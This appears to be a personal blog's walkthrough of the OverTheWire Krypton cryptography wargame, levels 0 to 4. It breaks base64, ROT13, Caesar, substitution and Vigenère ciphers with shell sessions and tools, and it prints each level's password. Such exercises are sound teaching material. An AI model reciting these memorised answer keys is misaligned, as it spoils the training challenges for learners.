Hello Navi

Tech, Security & Personal Notes

krypton

krypton.labs.overthewire.org 2231

level 0 → level 1

1
2
3
SSH Information
Host: krypton.labs.overthewire.org
Port: 2231
1
echo S1JZUFRPTklTR1JFQVQ= | base64 -d
KRYPTONISGREAT

level 1 → level 2

ROT13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
krypton1@krypton:/krypton/krypton1$ cat README
Welcome to Krypton!

This game is intended to give hands on experience with cryptography
and cryptanalysis. The levels progress from classic ciphers, to modern,
easy to harder.

Although there are excellent public tools, like cryptool,to perform
the simple analysis, we strongly encourage you to try and do these
without them for now. We will use them in later excercises.

** Please try these levels without cryptool first **

The first level is easy. The password for level 2 is in the file
'krypton2'. It is 'encrypted' using a simple rotation called ROT13.
It is also in non-standard ciphertext format. When using alpha characters for
cipher text it is normal to group the letters into 5 letter clusters,
regardless of word boundaries. This helps obfuscate any patterns.

This file has kept the plain text word boundaries and carried them to
the cipher text.

Enjoy!

krypton1@krypton:/krypton/krypton1$ cat krypton2
YRIRY GJB CNFFJBEQ EBGGRA

# g? in vim
LEVEL TWO PASSWORD ROTTEN
ROTTEN

level 2 → level 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
krypton2@krypton:/krypton/krypton2$ cat README
Krypton 2

ROT13 is a simple substitution cipher.

Substitution ciphers are a simple replacement algorithm. In this example
of a substitution cipher, we will explore a 'monoalphebetic' cipher.
Monoalphebetic means, literally, "one alphabet" and you will see why.

This level contains an old form of cipher called a 'Caesar Cipher'.
A Caesar cipher shifts the alphabet by a set number. For example:

plain: a b c d e f g h i j k ...
cipher: G H I J K L M N O P Q ...

In this example, the letter 'a' in plaintext is replaced by a 'G' in the
ciphertext so, for example, the plaintext 'bad' becomes 'HGJ' in ciphertext.

The password for level 3 is in the file krypton3. It is in 5 letter
group ciphertext. It is encrypted with a Caesar Cipher. Without any
further information, this cipher text may be difficult to break. You do
not have direct access to the key, however you do have access to a program
that will encrypt anything you wish to give it using the key.
If you think logically, this is completely easy.

One shot can solve it!

Have fun.

Additional Information:

The `encrypt` binary will look for the keyfile in your current working
directory. Therefore, it might be best to create a working direcory in /tmp
and in there a link to the keyfile. As the `encrypt` binary runs setuid
`krypton3`, you also need to give `krypton3` access to your working directory.

Here is an example:

krypton2@melinda:~$ mktemp -d
/tmp/tmp.Wf2OnCpCDQ
krypton2@melinda:~$ cd /tmp/tmp.Wf2OnCpCDQ
krypton2@melinda:/tmp/tmp.Wf2OnCpCDQ$ ln -s /krypton/krypton2/keyfile.dat
krypton2@melinda:/tmp/tmp.Wf2OnCpCDQ$ ls
keyfile.dat
krypton2@melinda:/tmp/tmp.Wf2OnCpCDQ$ chmod 777 .
krypton2@melinda:/tmp/tmp.Wf2OnCpCDQ$ /krypton/krypton2/encrypt /etc/issue
krypton2@melinda:/tmp/tmp.Wf2OnCpCDQ$ ls
ciphertext keyfile.dat

krypton2@krypton:~$ cat /krypton/krypton2/krypton3
OMQEMDUEQMEK

krypton2@krypton:~$ mktemp -d
/tmp/tmp.K1sSz2hmz7
krypton2@krypton:~$ cd /tmp/tmp.K1sSz2hmz7
krypton2@krypton:/tmp/tmp.K1sSz2hmz7$ ln -s /krypton/krypton2/keyfile.dat
krypton2@krypton:/tmp/tmp.K1sSz2hmz7$ ls
keyfile.dat
krypton2@krypton:/tmp/tmp.K1sSz2hmz7$ chmod 777 .

krypton2@krypton:/tmp/tmp.K1sSz2hmz7$ vim a
# abcdefghijklmnopqrstuvwxyz

krypton2@krypton:/tmp/tmp.K1sSz2hmz7$ /krypton/krypton2/encrypt a

krypton2@krypton:/tmp/tmp.K1sSz2hmz7$ cat ciphertext
MNOPQRSTUVWXYZABCDEFGHIJKL

amount = -12 OMQEMDUEQMEK

CAESARISEASY

level 3 → level 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
krypton3@krypton:~$ tail -n +1 /krypton/krypton3/*
==> /krypton/krypton3/found1 <==
CGZNL YJBEN QYDLQ ZQSUQ NZCYD SNQVU BFGBK GQUQZ QSUQN UZCYD SNJDS UDCXJ ZCYDS NZQSU QNUZB WSBNZ QSUQN UDCXJ CUBGS BXJDS UCTYV SUJQG WTBUJ KCWSV LFGBK GSGZN LYJCB GJSZD GCHMS UCJCU QJLYS BXUMA UJCJM JCBGZ CYDSN CGKDC ZDSQZ DVSJJ SNCGJ DSYVQ CGJSO JCUNS YVQZS WALQV SJJSN UBTSX COSWG MTASN BXYBU CJCBG UWBKG JDSQV YDQAS JXBNS OQTYV SKCJD QUDCX JBXQK BMVWA SNSYV QZSWA LWAKB MVWAS ZBTSS QGWUB BGJDS TSJDB WCUGQ TSWQX JSNRM VCMUZ QSUQN KDBMU SWCJJ BZBTT MGCZQ JSKCJ DDCUE SGSNQ VUJDS SGZNL YJCBG UJSYY SNXBN TSWAL QZQSU QNZCY DSNCU BXJSG CGZBN YBNQJ SWQUY QNJBX TBNSZ BTYVS OUZDS TSUUM ZDQUJ DSICE SGNSZ CYDSN QGWUJ CVVDQ UTBWS NGQYY VCZQJ CBGCG JDSNB JULUJ STQUK CJDQV VUCGE VSQVY DQASJ UMAUJ CJMJC BGZCY DSNUJ DSZQS UQNZC YDSNC USQUC VLANB FSGQG WCGYN QZJCZ SBXXS NUSUU SGJCQ VVLGB ZBTTM GCZQJ CBGUS ZMNCJ LUDQF SUYSQ NSYNB WMZSW TBUJB XDCUF GBKGK BNFAS JKSSG QGWDC USQNV LYVQL UKSNS TQCGV LZBTS WCSUQ GWDCU JBNCS UESGN SUDSN QCUSW JBJDS YSQFB XUBYD CUJCZ QJCBG QGWQN JCUJN LALJD SSGWB XJDSU COJSS GJDZS GJMNL GSOJD SKNBJ STQCG VLJNQ ESWCS UMGJC VQABM JCGZV MWCGE DQTVS JFCGE VSQNQ GWTQZ ASJDZ BGUCW SNSWU BTSBX JDSXC GSUJS OQTYV SUCGJ DSSGE VCUDV QGEMQ ESCGD CUVQU JYDQU SDSKN BJSJN QECZB TSWCS UQVUB FGBKG QUNBT QGZSU QGWZB VVQAB NQJSW KCJDB JDSNY VQLKN CEDJU TQGLB XDCUY VQLUK SNSYM AVCUD SWCGS WCJCB GUBXI QNLCG EHMQV CJLQG WQZZM NQZLW MNCGE DCUVC XSJCT SQGWC GJKBB XDCUX BNTSN JDSQJ NCZQV ZBVVS QEMSU YMAVC UDSWJ DSXCN UJXBV CBQZB VVSZJ SWSWC JCBGB XDCUW NQTQJ CZKBN FUJDQ JCGZV MWSWQ VVAMJ JKBBX JDSYV QLUGB KNSZB EGCUS WQUUD QFSUY SQNSU

# https://quipqiup.com/

# in cryptography a caesar cipher also known as a caesars cipher the shift cipher caesars code or caesar shift is one of the simplest and most widely known encryption techniques it is a type of substitution cipher in which each letter in the plain text is replaced by a letter some fixed number of positions down the alphabet for example with a shift of a would be replaced by db would become e and soon the method is named after julius caesar who used it to communicate with his generals the encryption step performed by a caesar cipher is often incorporated as part of more complex schemes such as the vigenre cipher and still has modern application in the rot system as with all single alphabet substitution ciphers the caesar cipher is easily broken and in practice offers essentially no communication security shakespeare produced most of his known work between and his early plays were mainly comedies and histories genre she raised to the peak of sophistication and artistry by the end of the sixteenth century next he wrote mainly tragedies until about including hamlet king lear and macbeth considered some of the finest examples in the english language in his last phase he wrote tragicomedies also known as romances and collaborated with other playwrights many of his plays were published in editions of varying quality and accuracy during his lifetime and in two of his former theatrical colleagues published the first folio a collected edition of his dramatic works that included all but two of the plays now recognised as shakespeares

==> /krypton/krypton3/found2 <==
QVJDB MEDGB QJJSG WQGZS NSZBN WUXBN JDSYS NCBWU MNICI STBUJ ACBEN QYDSN UQENS SJDQJ UDQFS UYSQN SKQUS WMZQJ SWQJJ DSFCG EUGSK UZDBB VCGUJ NQJXB NWQXN SSUZD BBVZD QNJSN SWCGQ ABMJQ HMQNJ SNBXQ TCVSX NBTDC UDBTS ENQTT QNUZD BBVUI QNCSW CGHMQ VCJLW MNCGE JDSSV CPQAS JDQGS NQAMJ JDSZM NNCZM VMTKQ UWCZJ QJSWA LVQKJ DNBME DBMJS GEVQG WQGWJ DSUZD BBVKB MVWDQ ISYNB ICWSW QGCGJ SGUCI SSWMZ QJCBG CGVQJ CGENQ TTQNQ GWJDS ZVQUU CZUQJ JDSQE SBXUD QFSUY SQNST QNNCS WJDSL SQNBV WQGGS DQJDQ KQLJD SZBGU CUJBN LZBMN JBXJD SWCBZ SUSBX KBNZS UJSNC UUMSW QTQNN CQESV CZSGZ SBGGB ISTAS NJKBB XDQJD QKQLU GSCED ABMNU YBUJS WABGW UJDSG SOJWQ LQUUM NSJLJ DQJJD SNSKS NSGBC TYSWC TSGJU JBJDS TQNNC QESJD SZBMY VSTQL DQISQ NNQGE SWJDS ZSNST BGLCG UBTSD QUJSU CGZSJ DSKBN ZSUJS NZDQG ZSVVB NQVVB KSWJD STQNN CQESA QGGUJ BASNS QWBGZ SCGUJ SQWBX JDSMU MQVJD NSSJC TSUQG GSUYN SEGQG ZLZBM VWDQI SASSG JDSNS QUBGX BNJDC UUCOT BGJDU QXJSN JDSTQ NNCQE SUDSE QISAC NJDJB QWQME DJSNU MUQGG QKDBK QUAQY JCUSW BGTQL JKCGU UBGDQ TGSJQ GWWQM EDJSN RMWCJ DXBVV BKSWQ VTBUJ JKBLS QNUVQ JSNQG WKSNS AQYJC USWBG XSANM QNLDQ TGSJW CSWBX MGFGB KGZQM USUQJ JDSQE SBXQG WKQUA MNCSW BGQME MUJQX JSNJD SACNJ DBXJD SJKCG UJDSN SQNSX SKDCU JBNCZ QVJNQ ZSUBX UDQFS UYSQN SMGJC VDSCU TSGJC BGSWQ UYQNJ BXJDS VBGWB GJDSQ JNSUZ SGSCG ASZQM USBXJ DCUEQ YUZDB VQNUN SXSNJ BJDSL SQNUA SJKSS GQGWQ UUDQF SUYSQ NSUVB UJLSQ NUACB ENQYD SNUQJ JSTYJ CGEJB QZZBM GJXBN JDCUY SNCBW DQISN SYBNJ SWTQG LQYBZ NLYDQ VUJBN CSUGC ZDBVQ UNBKS UDQFS UYSQN SUXCN UJACB ENQYD SNNSZ BMGJS WQUJN QJXBN WVSES GWJDQ JUDQF SUYSQ NSXVS WJDSJ BKGXB NVBGW BGJBS UZQYS YNBUS ZMJCB GXBNW SSNYB QZDCG EQGBJ DSNSC EDJSS GJDZS GJMNL UJBNL DQUUD QFSUY SQNSU JQNJC GEDCU JDSQJ NCZQV ZQNSS NTCGW CGEJD SDBNU SUBXJ DSQJN SYQJN BGUCG VBGWB GRBDG QMANS LNSYB NJSWJ DQJUD QFSUY SQNSD QWASS GQZBM GJNLU ZDBBV TQUJS NUBTS JKSGJ CSJDZ SGJMN LUZDB VQNUD QISUM EESUJ SWJDQ JUDQF SUYSQ NSTQL DQISA SSGST YVBLS WQUQU ZDBBV TQUJS NALQV SOQGW SNDBE DJBGB XVQGZ QUDCN SQZQJ DBVCZ VQGWB KGSNK DBGQT SWQZS NJQCG KCVVC QTUDQ FSUDQ XJSCG DCUKC VVGBS ICWSG ZSUMA UJQGJ CQJSU UMZDU JBNCS UBJDS NJDQG DSQNU QLZBV VSZJS WQXJS NDCUW SQJD

# although no attendance records for the period survive most biographers agree that shakespeare was educated at the kings new school in stratford a free school chartered in about a quarter of a mile from his home grammar schools varied in quality during the elizabethan era but the curriculum was dictated by law throughout england and the school would have provided an intensive education in latin grammar and the classics at the age of shakespeare married the year old anne hathaway the consistory court of the diocese of worcester issued a marriage licence on november two of hathaways neighbours posted bonds the next day as surety that there were no impediments to the marriage the couple may have arranged the ceremony in some haste since the worcester chancellor allowed the marriage banns to be read once instead of the usual three times annes pregnancy could have been the reason for this six months after the marriage she gave birth to a daughter susanna who was baptised on may twins son hamnet and daughter judith followed almost two years later and were baptised on february ham net died of unknown causes at the age of and was buried on august after the birth of the twins there are few historical traces of shakespeare until he is mentioned as part of the london theatre scene in because of this gap scholars refer to the years between and as shakespeares lost years biographers attempting to account for this period have reported many apocryphal stories nicholas rowe shakespeares first biographer recounted a stratford legend that shakespeare fled the town for london to escape prosecution for deer poaching another eighteenth century story has shakespeare starting his theatrical career minding the horses of theatre patrons in london john aubrey reported that shakespeare had been a country school master some twentieth century scholars have suggested that shakespeare may have been employed as a schoolmaster by alexander hoghton of lancashire a catholic landowner who named a certain william shakesh aftein his will no evidence substantiates such stories other than hearsay collected after his death

==> /krypton/krypton3/found3 <==
DSNSM YBGVS ENQGW QNBUS KCJDQ ENQIS QGWUJ QJSVL QCNQG WANBM EDJTS JDSAS SJVSX NBTQE VQUUZ QUSCG KDCZD CJKQU SGZVB USWCJ KQUQA SQMJC XMVUZ QNQAQ SMUQG WQJJD QJJCT SMGFG BKGJB GQJMN QVCUJ UBXZB MNUSQ ENSQJ YNCPS CGQUZ CSGJC XCZYB CGJBX ICSKJ DSNSK SNSJK BNBMG WAVQZ FUYBJ UGSQN BGSSO JNSTC JLBXJ DSAQZ FQGWQ VBGEB GSGSQ NJDSB JDSNJ DSUZQ VSUKS NSSOZ SSWCG EVLDQ NWQGW EVBUU LKCJD QVVJD SQYYS QNQGZ SBXAM NGCUD SWEBV WJDSK SCEDJ BXJDS CGUSZ JKQUI SNLNS TQNFQ AVSQG WJQFC GEQVV JDCGE UCGJB ZBGUC WSNQJ CBGCZ BMVWD QNWVL AVQTS RMYCJ SNXBN DCUBY CGCBG NSUYS ZJCGE CJ

# hereupon le grand arose with a grave and stately air and brought me the beetle from a glass case in which it was enclosed it was a beautiful scarabaeus and at that time unknown to naturalists of course a great prize in a scientific point of view there were two round black spots near one extremity of the back and a long one near the other the scales were exceedingly hard and glossy with all the appearance of burnished gold the weight of the insect was very remarkable and taking all things into consideration i could hardly blame jupiter for his opinion respecting it

==> /krypton/krypton3/HINT1 <==
Some letters are more prevalent in English than others.

==> /krypton/krypton3/HINT2 <==
"Frequency Analysis" is your friend.

==> /krypton/krypton3/krypton4 <==
KSVVW BGSJD SVSIS VXBMN YQUUK BNWCU ANMJS

# put there together
# the r the scales were exceedingly hard and glossy with all the appearance of burnished gold the weight of the insect was very remarkable and taking all things into consideration i could hardly blame jupiter for his opinion respecting it well done the level four password is brute

==> /krypton/krypton3/README <==
Well done. You've moved past an easy substitution cipher.

Hopefully you just encrypted the alphabet a plaintext
to fully expose the key in one swoop.

The main weakness of a simple substitution cipher is
repeated use of a simple key. In the previous exercise
you were able to introduce arbitrary plaintext to expose
the key. In this example, the cipher mechanism is not
available to you, the attacker.

However, you have been lucky. You have intercepted more
than one message. The password to the next level is found
in the file 'krypton4'. You have also found 3 other files.
(found1, found2, found3)

You know the following important details:

- The message plaintexts are in English (*** very important)
- They were produced from the same key (*** even better!)


Enjoy.
BRUTE

level 4 → level 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
krypton4@krypton:~$ tail -n +1 /krypton/krypton4/*
==> /krypton/krypton4/found1 <==
YYICS JIZIB AGYYX RIEWV IXAFN JOOVQ QVHDL CRKLB SSLYX RIQYI IOXQT WXRIC RVVKP BHZXI YLYZP DLCDI IKGFJ UXRIP TFQGL CWVXR IEZRV NMYSF JDLCL RXOWJ NMINX FNJSP JGHVV ERJTT OOHRM VMBWN JTXKG JJJXY TSYKL OQZFT OSRFN JKBIY YSSHE LIKLO RFJGS VMRJC CYTCS VHDLC LRXOJ MWFYB JPNVR NWUMZ GRVMF UPOEB XKSDL CBZGU IBBZX MLMKK LOACX KECOC IUSBS RMPXR IPJZW XSPTR HKRQB VVOHR MVKEE PIZEX SDYYI QERJJ RYSLJ VZOVU NJLOW RTXSD LYYNE ILMBK LORYW VAOXM KZRNL CWZRA YGWVH DLCLZ VVXFF KASPJ GVIKW WWVTV MCIKL OQYSW SBAFJ EWRII SFACC MZRVO MLYYI MSSSK VISDY YIGML PZICW FJNMV PDNEH ISSFE HWEIJ PSEEJ QYIBW JFMIC TCWYE ZWLTK WKMBY YICGY WVGBS UKFVG IKJRR DSBJJ XBSWM VVYLR MRXSW BNWJO VCSKW KMBYY IQYYW UMKRM KKLOK YYVWX SMSVL KWCAV VNIQY ISIIB MVVLI DTIIC SGSRX EVYQC CDLMZ XLDWF JNSEP BRROO WJFMI CSDDF YKWQM VLKWM KKLOV CXKFE XRFBI MEPJW SBWFJ ZWGMA PVHKR BKZIB GCFEH WEWSF XKPJT NCYYR TUICX PTPLO VIJVT DSRMV AOWRB YIBIR MVWER QJKWK RBDFY MELSF XPEGQ KSPML IYIBX FJPXR ELPVH RMKFE HLEBJ YMWKM TUFII YSUXE VLJUX YAYWU XRIUJ JXGEJ PZRQS TJIJS IJIJS PWMKK KBEQX USDXC IYIBI YSUXR IPJNM DLBFZ WSIQF EHLYR YVVMY NXUSB SRMPW DMJQN SBIRM VTBIR YPWSP IIIIC WQMVL KHNZK SXMLY YIZEJ FTILY RSFAD SFJIW EVNWZ WOWFJ WSERB NKAKW LTCSX KCWXV OILGL XZYPJ NLSXC YYIBM ZGFRK VMZEH DSRTJ ROGIM RHKPQ TCSCX GYJKB ICSTS VSPFE HGEQF JARMR JRWNS PTKLI WBWVW CXFJV QOVYQ UGSXW BRWCS MSCIP XDFIF OLGSU ECXFJ PENZY STINX FJXVY YLISI MEKJI SEKFJ IEXHF NCPSI PKFVD LCWVA OVCSF JKVKX ESBLM ZJICM LYYMC GMZEX BCMKK LOACX KEXHR MVKBS SSUAK WSSKM VPCIZ RDLCF WXOVL TFRDL CXLRC LMSVL YXGSK LOMPK RGOWD TIXRI PJNIB ILTKV OIQYF SPJCW KLOQQ MRHOW MYYED FCKFV ORGLY XNSPT KLIEL IKSDS YSUXR IJNFR GIPJK MBIBF EHVEW IFAXY NTEXR IEWRW CELIW IVPYX CIOTU NKLDL CBFSN QYSRR NXFJJ GKVCH ISGOC JGMXK UFKGR
==> /krypton/krypton4/found2 <==
YYIIA CWVSL PGLVH DSAFD TYYRY YEDRG LYXER BJIEV EPLVX BICNE XRIDT IICXD TIXRI PJNIB ILTYS EWCXE IKVRM VXBIC RRHOE ETFHD LGHBG YZCWZ RQXMU ISDIA YKLOQ DWFQD LCIVA KRBYY IDMLB FSNQY STLYT NJUEQ VCFKT SPCTW AYSBB ZXRLG XRBOE LIUSB SRMPF EMJYR WZPCS UMNJG WVXRE RBRVW IBMVV KRBRR HOLCW WIOPJ JJWVS LJCCC LCFEH DSRTR XOXFJ CECXM KKLOM PGIIK HYSUR YAQMV HSHLT KOXSU BYEDX FJPAY YJIUS PSPGI IKODF JXSJW TLASW FXRMN XFJCM YRGBZ PVKMN EXYXF JWSBI QYRRN OGQCE NICWW SBCMZ PSEGY SISKW RNKFI XFJWM BIQNE GOCMZ IXKWR JJEBI QTGIM YJNRV DLYYP SETPJ WIBGM TBINJ MTUEX HRMVR ISSBZ PVLYA VEFIP DXSYH ZWVEU JYXKH YRRUC IKWCI FRDFC LXINX FJKMX AMTUQ KRGXY SEPBH VVDEG SCCGI CUZJI SSPZP VIBFG SYVBJ VVKRB YYIXQ WORAC AMZCH BYQYR KKMLG LXDLC QZSXA CSKEG EWNEX YXFJW SBIQY RRNJM ZEHRM QTNRC YNUVV KRBSF SXICA VVURC BNLKX GYNEC JMWYI NMBSK QORRN FRSXY SUXRI QHRVO GPTNJ YYLIR XBICK LPVSD SLXCE LIWMV PCIUS BSRMP WLEQP VXGMR MKLOQ QTKLK XQMVA YYJIE SDFCM LRQVW KFVKP MSXXS QCXYI DLMZX LDXFN JAKWT JICUM LIRRN XFTLK RXDZC SPXFJ JGKVC HISGF SYJLO PYZXL OHFJR VDMJD RXDLC FNOGE PINEI MLBYM MLRMV TYSPH IIKXS WVTSG IJUYZ XFJEY DWFNJ TKHBJ ULKRB XNIBI QTTPE QQDRR NXFJE YDWUJ IICSQ RRPVX FFKLO HPTGT OHYQD SCXYX DEXCY XYIZY RNEXR IZFJO OXZZK XRIQH RVOGP TNHSH LTKQS RBMFA VSLLZ XDSMP YMWXM KZPVX FJSEC OCYWS BMRJE ELPCI YMWXM PVIZE UFPJB SKYYI PMPJR WRIDJ RVOHY XGEBO KNXLD KCYZR DSFNJ WDVYB RRNFS WELSQ SUJSR IIJGX KKMTU HSWRF EGOEU FPJBS KYYIP PYRVW KRBTE PIGYR VROEP YFGYZ CWUSB SRMPA SXFII CVIYA VWGLC SJLOP YDUSG RRTJP OINYY ICIIJ GXRIP AVVIW LZXEX HUFIQ KRBXY ICPCU KWYYL ICCER RNCQY VLNEK GLCSZ XGEQI RCVME MKXRI ENIPL ERMVH RIPKR GOMLF CMDXJ JIMZT JNEKL VMTBE XHQTF RKJRJ IXRIW FCPCX YWKIN XMBRV NXFJV QOVYQ UGSXW YYMCA YXKSL IYSVZ ORRKL PNEWK FVDLC YIEFI JJIWD LCDYE NLYWU PIFCJ EAKPI NEKKR FTLVG LCSKL OCQFN FOJMW VXRIK FXVOE RIZXM LRMRX MVMXJ INXFJ ISKHY SUHSZ GIVHD LCKFV OWRFJ JKVYX KLOCA TLPNW CJFRO MRMVV CMBJZ XGEQF MIBCU NUINM RHYEX HUMVR DLCDT VOTRZ GXYXF JVHQI YSUPY SIJUM XXMNK XRIWH FYVHQ JVMDA YXRPC STJIC NICUR RNXFJ IIGIP JDEXC ZNXNK KEJUV YGIXR XDLCG FXDSK YYICM BJJAO VCXFW DICUK LKXLT EIYJR MVQMS SQUGV MKGUS GRYSU JYVYR FQORR NKWOI KJUXR ERYYI SVHTL VXIWR LWDIL INLKX QMRPV ACIFE COCIU SBSRM PHOWN FZVSR EQPMR ETJEX DLCKR MXXCX KMNIY XRMNX FJKMX AMTUQ KRYSU XRIJN FRCLM TBLSW QMRKQ CKFEI KRBQF SUIBY YSEKF YWYVF SYKLO WAFII MVMBJ ESHUJ TEXRM YWPIX FFKMC GCWKE SRLJZ XRIPH RRGIA QZQLH MBEMX XMYYM CKPJR XNMRH YXRIP JWSBI GKNIM ELSFX TYKUF ZOVGY NIWYQ YJXYT UMVVO ACFII SXFNE OSGMZ CHTYK UFZOV GYJES HRMVG YAYWU PIPGT EEPXC WDIKW SWZRQ XFJUM CXYST IMEPJ WYVPW NELSW KNEHD LCSNI KVCFC PBMEM KEXWU JIINX FJJGK VCHIS GJMWP SEGYS TEBVW ZJEVP MAVVY RWTLV LEAPF ROERF KMWIU JCPSP JYICS XQFZH DLCQZ SXAFT NMVPE TWMBW RNNMV PBJTP KVCIK LOWAF IIMVM BWSBM DDFYP SSSUX RERDF YMSSQ URYXH ZDTYZ CWKLO KSQWH YVMYY CGSSQ UFOOG QCINS PYYID MLBFS NQYSS ENPWI VRDIB TEXRI PTTOC FCQFA LYRNW MKQMS PSEVZ FTOSX UNCPX SRRRX DIPXF QEGFK FVDLC KRPVA MZCHX SRMLV DQCFK EVP
==> /krypton/krypton4/HINT <==
Frequency analysis will still work, but you need to analyse it
by "keylength". Analysis of cipher text at position 1, 7, 13, etc
should reveal the 1st letter of the key, in this case. Treat this as
6 different mono-alphabetic ciphers...

Persistence and some good guesses are the key!

==> /krypton/krypton4/krypton5 <==
HCIKV RJOX
==> /krypton/krypton4/README <==
Good job!

You more than likely used frequency analysis and some common sense
to solve that one.

So far we have worked with simple substitution ciphers. They have
also been 'monoalphabetic', meaning using a fixed key, and
giving a one to one mapping of plaintext (P) to ciphertext (C).
Another type of substitution cipher is referred to as 'polyalphabetic',
where one character of P may map to many, or all, possible ciphertext
characters.

An example of a polyalphabetic cipher is called a Vigen�re Cipher. It works
like this:

If we use the key(K) 'GOLD', and P = PROCEED MEETING AS AGREED, then "add"
P to K, we get C. When adding, if we exceed 25, then we roll to 0 (modulo 26).


P P R O C E E D M E E T I N G A S A G R E E D
K G O L D G O L D G O L D G O L D G O L D G O

becomes:

P 15 17 14 2 4 4 3 12 4 4 19 8 13 6 0 18 0 6 17 4 4 3
K 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14
C 21 5 25 5 10 18 14 15 10 18 4 11 19 20 11 21 6 20 2 8 10 17

So, we get a ciphertext of:

VFZFK SOPKS ELTUL VGUCH KR

This level is a Vigen�re Cipher. You have intercepted two longer, english
language messages. You also have a key piece of information. You know the
key length!

For this exercise, the key length is 6. The password to level five is in the usual
place, encrypted with the 6 letter key.

Have fun!

get my tool from subsolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
subsolve on  master is 󰏗 v0.1.0 via 󱘗 v1.93.0
❯ ./target/release/subsolve --vigenere "YYIIA CWVSL PGLVH DSAFD TYYRY YEDRG LYXER BJIEV EPLVX BICNE XRIDT IICXD TIXRI PJNIB ILTYS EWCXE IKVRM VXBIC RRHOE ETFHD LGHBG YZCWZ RQXMU ISDIA YKLOQ DWFQD LCIVA KRBYY IDMLB FSNQY STLYT NJUEQ VCFKT SPCTW AYSBB ZXRLG XRBOE LIUSB SRMPF EMJYR WZPCS UMNJG WVXRE RBRVW IBMVV KRBRR HOLCW WIOPJ JJWVS LJCCC LCFEH DSRTR XOXFJ CECXM KKLOM PGIIK HYSUR YAQMV HSHLT KOXSU BYEDX FJPAY YJIUS PSPGI IKODF JXSJW TLASW FXRMN XFJCM YRGBZ PVKMN EXYXF JWSBI QYRRN OGQCE NICWW SBCMZ PSEGY SISKW RNKFI XFJWM BIQNE GOCMZ IXKWR JJEBI QTGIM YJNRV DLYYP SETPJ WIBGM TBINJ MTUEX HRMVR ISSBZ PVLYA VEFIP DXSYH ZWVEU JYXKH YRRUC IKWCI FRDFC LXINX FJKMX AMTUQ KRGXY SEPBH VVDEG SCCGI CUZJI SSPZP VIBFG SYVBJ VVKRB YYIXQ WORAC AMZCH BYQYR KKMLG LXDLC QZSXA CSKEG EWNEX YXFJW SBIQY RRNJM ZEHRM QTNRC YNUVV KRBSF SXICA VVURC BNLKX GYNEC JMWYI NMBSK QORRN FRSXY SUXRI QHRVO GPTNJ YYLIR XBICK LPVSD SLXCE LIWMV PCIUS BSRMP WLEQP VXGMR MKLOQ QTKLK XQMVA YYJIE SDFCM LRQVW KFVKP MSXXS QCXYI DLMZX LDXFN JAKWT JICUM LIRRN XFTLK RXDZC SPXFJ JGKVC HISGF SYJLO PYZXL OHFJR VDMJD RXDLC FNOGE PINEI MLBYM MLRMV TYSPH IIKXS WVTSG IJUYZ XFJEY DWFNJ TKHBJ ULKRB XNIBI QTTPE QQDRR NXFJE YDWUJ IICSQ RRPVX FFKLO HPTGT OHYQD SCXYX DEXCY XYIZY RNEXR IZFJO OXZZK XRIQH RVOGP TNHSH LTKQS RBMFA VSLLZ XDSMP YMWXM KZPVX FJSEC OCYWS BMRJE ELPCI YMWXM PVIZE UFPJB SKYYI PMPJR WRIDJ RVOHY XGEBO KNXLD KCYZR DSFNJ WDVYB RRNFS WELSQ SUJSR IIJGX KKMTU HSWRF EGOEU FPJBS KYYIP PYRVW KRBTE PIGYR VROEP YFGYZ CWUSB SRMPA SXFII CVIYA VWGLC SJLOP YDUSG RRTJP OINYY ICIIJ GXRIP AVVIW LZXEX HUFIQ KRBXY ICPCU KWYYL ICCER RNCQY VLNEK GLCSZ XGEQI RCVME MKXRI ENIPL ERMVH RIPKR GOMLF CMDXJ JIMZT JNEKL VMTBE XHQTF RKJRJ IXRIW FCPCX YWKIN XMBRV NXFJV QOVYQ UGSXW YYMCA YXKSL IYSVZ ORRKL PNEWK FVDLC YIEFI JJIWD LCDYE NLYWU PIFCJ EAKPI NEKKR FTLVG LCSKL OCQFN FOJMW VXRIK FXVOE RIZXM LRMRX MVMXJ INXFJ ISKHY SUHSZ GIVHD LCKFV OWRFJ JKVYX KLOCA TLPNW CJFRO MRMVV CMBJZ XGEQF MIBCU NUINM RHYEX HUMVR DLCDT VOTRZ GXYXF JVHQI YSUPY SIJUM XXMNK XRIWH FYVHQ JVMDA YXRPC STJIC NICUR RNXFJ IIGIP JDEXC ZNXNK KEJUV YGIXR XDLCG FXDSK YYICM BJJAO VCXFW DICUK LKXLT EIYJR MVQMS SQUGV MKGUS GRYSU JYVYR FQORR NKWOI KJUXR ERYYI SVHTL VXIWR LWDIL INLKX QMRPV ACIFE COCIU SBSRM PHOWN FZVSR EQPMR ETJEX DLCKR MXXCX KMNIY XRMNX FJKMX AMTUQ KRYSU XRIJN FRCLM TBLSW QMRKQ CKFEI KRBQF SUIBY YSEKF YWYVF SYKLO WAFII MVMBJ ESHUJ TEXRM YWPIX FFKMC GCWKE SRLJZ XRIPH RRGIA QZQLH MBEMX XMYYM CKPJR XNMRH YXRIP JWSBI GKNIM ELSFX TYKUF ZOVGY NIWYQ YJXYT UMVVO ACFII SXFNE OSGMZ CHTYK UFZOV GYJES HRMVG YAYWU PIPGT EEPXC WDIKW SWZRQ XFJUM CXYST IMEPJ WYVPW NELSW KNEHD LCSNI KVCFC PBMEM KEXWU JIINX FJJGK VCHIS GJMWP SEGYS TEBVW ZJEVP MAVVY RWTLV LEAPF ROERF KMWIU JCPSP JYICS XQFZH DLCQZ SXAFT NMVPE TWMBW RNNMV PBJTP KVCIK LOWAF IIMVM BWSBM DDFYP SSSUX RERDF YMSSQ URYXH ZDTYZ CWKLO KSQWH YVMYY CGSSQ UFOOG 